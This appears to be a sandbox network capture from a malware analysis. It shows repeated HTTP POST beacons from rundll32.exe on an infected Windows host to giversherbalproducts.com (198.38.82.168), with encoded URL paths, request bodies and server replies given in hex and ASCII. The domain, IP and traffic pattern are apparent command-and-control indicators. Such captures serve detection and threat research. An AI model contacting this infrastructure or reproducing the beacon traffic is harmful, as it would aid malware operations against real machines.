f3p/QUVCQ0FBfn15eH96fXp8ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.3	49994	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:28.010622025 CEST	7158	OUT	POST /lBawcxb5/JA05KwQ6fAYuRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:28.489767075 CEST	7161	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:28 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.3	49995	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:28.469907999 CEST	7161	OUT	POST /lBawcxb5/JA05KwQ6fAYuRnpzeWJ+fXJlfmF4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:28.951874971 CEST	7163	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:28 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.3	49996	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:28.792766094 CEST	7162	OUT	POST /lBawcxb5/OBkTOjZ9egYmOC4ZKQd8ej4xfXsOKAp9BAx5Qn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:29.252465963 CEST	7164	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:28 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.3	49997	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:29.404356956 CEST	7164	OUT	POST /lBawcxb5/OBkTOjZ9egYmOC4ZKQd8ej4xfXsOKAp9BAx5Qn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:29.891360044 CEST	7166	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:29 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.3	49998	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:29.628858089 CEST	7165	OUT	POST /lBawcxb5/BhkNKwsmJC0BOCosGDgCIilCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:30.072439909 CEST	7167	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:29 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2f 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt/dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.3	49999	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:30.310342073 CEST	7167	OUT	POST /lBawcxb5/BhkNKwsmJC0BOCosGDgCIilCfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:30.765002012 CEST	7169	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:30 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.3	50000	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:30.728423119 CEST	7168	OUT	POST /lBawcxb5/BhoIPS4pMD87egB7Lgh9cwEiInsmBzMnLAUQJUV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:31.224364996 CEST	7170	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:30 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.3	50001	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:31.117527962 CEST	7170	OUT	POST /lBawcxb5/BhoIPS4pMD87egB7Lgh9cwEiInsmBzMnLAUQJUV+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:31.612438917 CEST	7171	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:31 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.3	50003	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:31.946031094 CEST	7172	OUT	POST /lBawcxb5/OSl9RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:32.399004936 CEST	7173	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:32 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 66 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+fkJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.3	50004	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:32.870513916 CEST	7174	OUT	POST /lBawcxb5/AhIaKCwxEn8qPXsYQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
